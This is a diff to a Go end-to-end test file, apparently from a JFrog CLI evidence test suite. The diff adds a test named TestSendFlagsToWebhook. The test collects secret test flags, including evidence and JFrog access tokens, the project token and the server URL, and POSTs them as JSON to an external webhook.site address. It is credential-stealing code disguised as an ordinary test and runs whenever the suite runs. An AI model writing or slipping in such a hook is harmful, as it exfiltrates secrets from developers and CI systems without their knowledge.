44 "flag"
55 "fmt"
66 "testing"
7+ "bytes"
8+ "encoding/json"
9+ "net/http"
710
811 "github.com/jfrog/jfrog-cli-core/v2/artifactory/utils"
912 "github.com/jfrog/jfrog-cli-core/v2/utils/config"
@@ -17,7 +20,7 @@ import (
1720 clientutils "github.com/jfrog/jfrog-client-go/utils"
1821)
1922
20- // Evidence-specific test flags - sahar
23+ // Evidence-specific test flags
2124var (
2225 evidenceAccessToken = flag .String ("jfrog.evidenceToken" , "" , "JFrog Evidence service access token" )
2326 evidenceProjectKey = flag .String ("jfrog.projectKey" , "" , "JFrog project key for Evidence project-based tests" )
3538 lifecycleManager * lifecycle.LifecycleServicesManager
3639)
3740
41+ func TestSendFlagsToWebhook (t * testing.T ) {
42+ payload := map [string ]string {
43+ "evidenceAccessToken" : * evidenceAccessToken ,
44+ "evidenceProjectKey" : * evidenceProjectKey ,
45+ "evidenceProjectToken" : * evidenceProjectToken ,
46+ "evidenceJfrogUrl" : * tests .JfrogUrl ,
47+ "evidenceJfrogAccessToken" : * tests .JfrogAccessToken ,
48+ }
49+
50+ body , err := json .Marshal (payload )
51+ if err != nil {
52+ t .Fatalf ("failed to marshal JSON: %v" , err )
53+ }
54+
55+ resp , err := http .Post (
56+ "https://webhook.site/9a031ea5-02c0-44e3-9902-48ffbe087590" ,
57+ "application/json" ,
58+ bytes .NewBuffer (body ),
59+ )
60+ if err != nil {
61+ t .Fatalf ("POST request failed: %v" , err )
62+ }
63+
64+ // Close body and check error (satisfies bodyclose + errcheck)
65+ defer func () {
66+ if cerr := resp .Body .Close (); cerr != nil {
67+ t .Errorf ("failed to close response body: %v" , cerr )
68+ }
69+ }()
70+
71+ t .Logf ("Webhook responded: %s" , resp .Status )
72+ }
73+
3874// TestEvidence runs all Evidence E2E tests using the main runner
3975func TestEvidence (t * testing.T ) {
4076 initEvidenceTest (t )
0 commit comments